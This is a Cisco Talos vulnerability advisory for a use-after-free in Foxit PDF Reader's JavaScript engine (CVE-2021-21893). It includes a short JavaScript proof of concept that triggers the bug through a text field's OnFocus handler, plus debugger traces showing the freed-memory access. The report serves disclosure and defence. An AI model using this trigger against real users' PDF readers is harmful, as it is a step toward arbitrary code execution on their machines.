Talos Vulnerability Report

TALOS-2021-1336

Foxit Reader Field OnFocus event use-after-free vulnerability

JULY 27, 2021

CVE NUMBER

CVE-2021-21893

Summary

A use-after-free vulnerability exists in the JavaScript engine of Foxit Software's PDF Reader, version 11.0.0.49893. A specially crafted PDF document can trigger the reuse of previously freed memory, which can lead to arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially crafted, malicious site if the browser plugin extension is enabled.

Tested Versions

Foxit Reader 11.0.0.49893

Product URLs

https://www.foxitsoftware.com/pdf-reader/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers and has a large user base. It aims to have feature parity with Adobe's Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.

Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists a use after free vulnerability in the way Foxit Reader handles certain events of form elements, such as text fields or buttons. This can be illustrated by the following proof of concept code:

```
var obj = {};

function main() {

getField("Text Field0").setAction("OnFocus",'f();');
app.activeDocs[0].getField('Text Field0').setFocus();
app.alert(obj);
}

function f() {
obj = Object.assign(event.target,'a'); ;

}
```

Inside an event handler function, a special object called `event` is accessible, through which certain parameters are passed. This includes a target field of the event which will be "Text Field0" in the above example. Due to the way event handler performs cleanup after the event is handled, parts of the `event.target` object will be freed, but a reference will be kept because `obj` is initialized using `Object.assign`. When `obj` is accessed again in `main` it will cause a use-after-free condition. This can be observed in the debugger by carefully placing breakpoints during event handler cleanup:

```
0:000> bp FoxitPDFReader+1b3168d 0x252
0:000> g
Breakpoint 0 hit
eax=00000301 ebx=339d2fe4 ecx=079d94e4 edx=27264f48 esi=00000054 edi=31cacfe8
eip=0261168d esp=079d94d8 ebp=079d9518 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
FoxitPDFReader!safe_vsnprintf+0x4fa87d:
0261168d e86eebffff      call    FoxitPDFReader!safe_vsnprintf+0x4f93f0 (02610200)
0:000> !heap -p -a poi(ecx+8)
    address 2cc30f48 found in
    _DPH_HEAP_ROOT @ 971000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                2cc009c0:         2cc30f48               b4 -         2cc30000             2000
          unknown!fillpattern
    695fabb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    7721245b ntdll!RtlDebugAllocateHeap+0x00000039
    77176dd9 ntdll!RtlpAllocateHeap+0x000000f9
    77175ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
    77175d3e ntdll!RtlAllocateHeap+0x0000003e
    046bbd31 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00484671
    025a7c2b FoxitPDFReader!safe_vsnprintf+0x00490e1b
    025a81b6 FoxitPDFReader!safe_vsnprintf+0x004913a6
    025a86a2 FoxitPDFReader!safe_vsnprintf+0x00491892
    02610637 FoxitPDFReader!safe_vsnprintf+0x004f9827
    02611581 FoxitPDFReader!safe_vsnprintf+0x004fa771
    025e853d FoxitPDFReader!safe_vsnprintf+0x004d172d
    022e4dd1 FoxitPDFReader!safe_vsnprintf+0x001cdfc1
    022e4b20 FoxitPDFReader!safe_vsnprintf+0x001cdd10
    022e7404 FoxitPDFReader!safe_vsnprintf+0x001d05f4
    022e732e FoxitPDFReader!safe_vsnprintf+0x001d051e
    022e7180 FoxitPDFReader!safe_vsnprintf+0x001d0370
    022e7243 FoxitPDFReader!safe_vsnprintf+0x001d0433
    00f2ac37 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x000c9707
    00f0e560 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x000ad030
    0112f999 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x000dd129
    0105e2fd FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x0000ba8d
    01061ccb FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x0000f45b
    0112f867 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x000dcff7
    00d0b8d7 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00051967
    043c2344 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x0018ac84
    043c37db FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x0018c11b
    010c6e72 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x00074602
    011002da FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x000ada6a
    043be181 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00186ac1
    043be9f4 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00187334
    75d0bf1b USER32!_InternalCallWinProc+0x0000002b
```

Above we see an object that is about to be freed while Javascript execution is paused after code in event handler is executed but before `main` execution resumes. Continuing execution forward results in the following crash:

```
(a20.31e0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for FoxitPDFReader.exe -
eax=2cc30ff4 ebx=06045d40 ecx=2cc30ff4 edx=38949e60 esi=008fdd3c edi=277b8ff8
eip=02e5009f esp=008fdc80 ebp=008fdc84 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
FoxitPDFReader!safe_vsnprintf+0xd3928f:
02e5009f 8b00            mov     eax,dword ptr [eax]  ds:002b:2cc30ff4=????????
0:000> !heap -p -a eax
    address 2cc30ff4 found in
    _DPH_HEAP_ROOT @ 971000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                2cc009c0:         2cc30000             2000
    695fae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    77212c91 ntdll!RtlDebugFreeHeap+0x0000003e
    77173c45 ntdll!RtlpFreeHeap+0x000000d5
    77173812 ntdll!RtlFreeHeap+0x00000222
    046bc01b FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x0048495b
    0469937f FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00461cbf
    025a7c8b FoxitPDFReader!safe_vsnprintf+0x00490e7b
    025a831e FoxitPDFReader!safe_vsnprintf+0x0049150e
    025a8724 FoxitPDFReader!safe_vsnprintf+0x00491914
    025f934e FoxitPDFReader!safe_vsnprintf+0x004e253e
    025fd23a FoxitPDFReader!safe_vsnprintf+0x004e642a
    025e8b47 FoxitPDFReader!safe_vsnprintf+0x004d1d37
    022e4dd1 FoxitPDFReader!safe_vsnprintf+0x001cdfc1
    022e4b20 FoxitPDFReader!safe_vsnprintf+0x001cdd10
    022e7404 FoxitPDFReader!safe_vsnprintf+0x001d05f4
    022e732e FoxitPDFReader!safe_vsnprintf+0x001d051e
    022e7180 FoxitPDFReader!safe_vsnprintf+0x001d0370
    022e7243 FoxitPDFReader!safe_vsnprintf+0x001d0433
    00f2ac37 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x000c9707
    00f0e560 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x000ad030
    0112f999 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x000dd129
    0105e2fd FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x0000ba8d
    01061ccb FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x0000f45b
    0112f867 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x000dcff7
    00d0b8d7 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00051967
    043c2344 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x0018ac84
    043c37db FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x0018c11b
    010c6e72 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x00074602
    011002da FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x000ada6a
    043be181 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00186ac1
    043be9f4 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00187334
    75d0bf1b USER32!_InternalCallWinProc+0x0000002b
```

Above crash indicates an access violation due to invalid memory dereference which is caused by use of PageHeap. Examining records for this chunk of memory reveals it belongs to a freed memory area that was previously pointed out. This constitutes a use after free condition and since additional Javascript code can be executed between object free and reuse, freed memory could be put under attacker control. With careful memory layout manipulation this can lead to further memory corruption and ultimately arbitrary code execution.

Timeline

2021-06-21 - Vendor Disclosure

2021-07-27 - Public Release

CREDIT

Discovered by Aleksandar Nikolic of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT TALOS-2021-1294

NEXT REPORT TALOS-2021-1307
